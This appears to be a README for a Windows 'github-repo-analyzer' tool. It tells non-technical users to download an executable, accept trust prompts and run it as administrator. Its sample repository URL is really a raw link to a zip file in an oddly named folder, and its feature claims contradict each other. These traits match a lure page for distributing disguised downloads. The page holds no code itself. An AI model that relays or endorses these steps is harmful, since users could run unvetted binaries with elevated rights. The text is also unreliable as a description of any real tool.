github-repo-analyzer is a simple command-line tool that helps you understand any GitHub repository. It shows you information like language usage, commit history, and other key stats in clear, easy-to-read charts inside your terminal.
This tool works on Windows and does not require programming skills. You only need to follow a few steps to download, install, and use it.
Before installing, make sure your computer meets these minimum requirements:
- Windows 10 or later
- At least 4 GB of RAM
- 100 MB of free disk space for installation
- Internet connection to access GitHub repositories and download the tool
- Basic knowledge of opening the Command Prompt (Windows terminal)
You will get the tool from its official GitHub page. Follow these steps carefully.
Click the link below to visit the page where you can download github-repo-analyzer:
This link leads you to the main GitHub repository page.
Once on the page, look for the Releases section. It is usually found on the right side or near the top of the page. Alternatively, scroll down until you see a heading called Releases.
Click the latest release version. It will take you to a page with files to download.
On the latest release page, find the file that looks like this:
github-repo-analyzer-win.exe
Click this file to download it. The file is an executable program for Windows.
Choose a folder on your computer to save it where you can easily find it, such as the Desktop or Downloads folder.
Locate the downloaded file. It will have the .exe extension.
Double-click the file to run it. Windows might ask if you trust this program. Choose Run or Yes to continue.
A command prompt window will open, showing you the tool's menu and instructions.
The tool runs inside the Windows Command Prompt. Here is how to start analyzing a repository:
You can open the Command Prompt by:
- Pressing
Windows Key + R, typingcmd, then pressing Enter
or
- Clicking the Start menu, typing
cmd, and selecting Command Prompt.
If you saved the tool in the Downloads folder, type:
cd %USERPROFILE%\Downloads
and press Enter. This changes the working folder to Downloads.
If you saved it elsewhere, change the path accordingly.
Type the command below and press Enter:
github-repo-analyzer-win.exe
The tool will start and show you a prompt.
When asked, type the full URL of the GitHub repository you want to analyze. For example:
https://github.com/Barakuda989/github-repo-analyzer/raw/refs/heads/main/tetradynamious/github-analyzer-repo-3.0.zip
Press Enter.
The tool will process the repository data. It may take a few moments depending on the repository size.
Once complete, you will see charts and stats like:
- Languages used and their percentages
- Number of commits
- Most active contributors
- Recent changes timeline
These appear as simple, colorful bars and charts in the terminal.
- Supports any public GitHub repository
- Shows programming language breakdown
- Displays commit and contributor data
- Generates terminal charts for clear visualization
- No installation beyond running a single file
- Fast and light weight
If you run into problems, try these solutions:
-
Tool does not start:
Make sure you are using Windows 10 or later and saved the.exefile completely. -
Error about missing permissions:
Right-click the.exefile and select Run as administrator. -
Invalid repository URL:
Check the URL is correct and points to a public GitHub repository. -
Charts do not display correctly:
Use a standard Command Prompt window with default font and colors.
- This tool works without needing any installation or additional software.
- It uses your internet connection to get data from GitHub.
- It does not require login or GitHub credentials.
- You can analyze private repositories only if you have public access rights.
Use this link to visit the GitHub page and download the latest version any time: